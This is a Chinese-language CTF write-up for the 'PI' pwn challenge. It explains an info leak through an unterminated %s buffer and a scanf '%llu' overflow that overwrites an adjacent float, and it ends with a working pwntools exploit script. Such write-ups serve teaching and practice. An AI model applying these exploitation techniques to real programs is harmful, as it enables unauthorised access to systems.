DASCTF/BJDCTF 4th PWN
PI
第一部分
unsigned int rad_num;
char passcode[64];
char input1[64];
snprintf(passcode, 0x40uLL, "%u", rad_num);
fprintf(stdout, "Welcome %s. \n", input1);
这里的fprintf和%s构成了字符数组溢出漏洞。如果input1中的数据全部被填完,即input1[63] != '\0',根据fprintf函数的特性,会一直读\0才会终止字符的读取。而且通过调试可以知道passcode和input1两个变量中内存是连续的,所以fprintf会一直读到passcode后才终止。
这里有一个比较坑的地方,ida7.5在反编译后把char passcode[64]; char input1[64];
调换了顺序,导致Ctrl+F5后在本机的C代码,是无法读到passcode的。
第二部分
unsigned int v1;
float v2;
v1 = 30000;
v2 = 0.0;
while ( 1 ){
fwrite("N = ", 1uLL, 4uLL, stdout);
__isoc99_scanf("%llu", &v1);
if ( v1 )
v2 = (float)(4.0 * (float)(int)sub_166F(v1)) / (float)(int)v1;
fprintf(stdout, "pi = %.7f\n", v2);
v0 = v2 - 3.1415926;
v3 = fabs(v0);
fprintf(stdout, "error = %.7f\n\n", v3);
if ( v3 <= 0.0000001 )
system("/bin/cat flag");
}
这里有个整数溢出,是%llu和unsigned int v1,float v2构成的漏洞。
首先在gcc中,unsigned int和float都占四字节,而%llu接受八个字节的输入。
而scanf函数中的&v1只是用来提供首地址,写入多少数据,只受格式"%llu"影响,所以我们可以尝试构造八个字节使v1为0,v2为3.141592。
写个程序可知3.141592在程序中是以40490FDA储存的。即构造 40 49 0F DA 00 00 00 00 使在输入完v1后可以同时使v1为0,v2为40490FDA,输入40490FDA00000000的十进制,即可得到flag。
脚本
from pwn import *
debug = 1
localfile = "./pi"
ip = ""
port = ''
if debug == 1:
p = process(localfile)
else:
p = remote(ip,port)
payload = 0x40 * 'a'
p.recvuntil('Username:')
p.sendline(payload)
p.recvuntil('a' * 0x40)
password = p.recv(10)
p.recvuntil('Passcode:')
p.sendline(password)
p.recvuntil('N =')
p.sendline('4632251120704552960')
p.interactive()